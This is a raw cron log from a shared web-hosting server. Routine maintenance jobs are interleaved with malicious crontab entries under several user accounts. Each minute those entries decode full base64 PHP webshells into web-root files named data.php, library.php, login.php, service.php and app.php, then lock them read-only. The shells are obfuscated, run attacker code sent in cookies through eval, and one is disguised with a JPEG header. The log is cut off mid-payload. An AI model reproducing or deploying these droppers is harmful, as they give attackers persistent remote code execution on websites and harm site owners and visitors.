Mar  1 10:08:01 medusa CROND[13162]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:08:01 medusa CROND[13163]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:08:01 medusa CROND[13164]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 10:08:01 medusa CROND[13165]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:08:01 medusa CROND[13166]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:08:01 medusa CROND[13167]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:08:01 medusa CROND[13169]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:08:01 medusa CROND[13175]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  1 10:08:01 medusa CROND[13176]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:08:01 medusa CROND[13180]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:09:01 medusa CROND[3560]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:09:01 medusa CROND[3607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:09:02 medusa CROND[3685]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:09:02 medusa CROND[3687]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 10:09:02 medusa CROND[3690]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 10:09:02 medusa CROND[3693]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:09:02 medusa CROND[3697]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:09:02 medusa CROND[3698]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:09:02 medusa CROND[3699]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:09:02 medusa CROND[3700]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:09:02 medusa CROND[3702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:09:02 medusa CROND[3704]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:09:02 medusa CROND[3706]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:10:01 medusa CROND[24693]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:10:01 medusa CROND[24704]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:10:02 medusa CROND[24944]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 10:10:02 medusa CROND[24945]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 10:10:02 medusa CROND[24946]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 10:10:02 medusa CROND[24947]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 10:10:02 medusa CROND[24948]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 10:10:02 medusa CROND[24949]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:10:02 medusa CROND[24952]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:10:02 medusa CROND[24951]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 10:10:02 medusa CROND[24954]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 10:10:02 medusa CROND[24955]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 10:10:02 medusa CROND[24960]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 10:10:02 medusa CROND[24961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:10:02 medusa CROND[24963]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX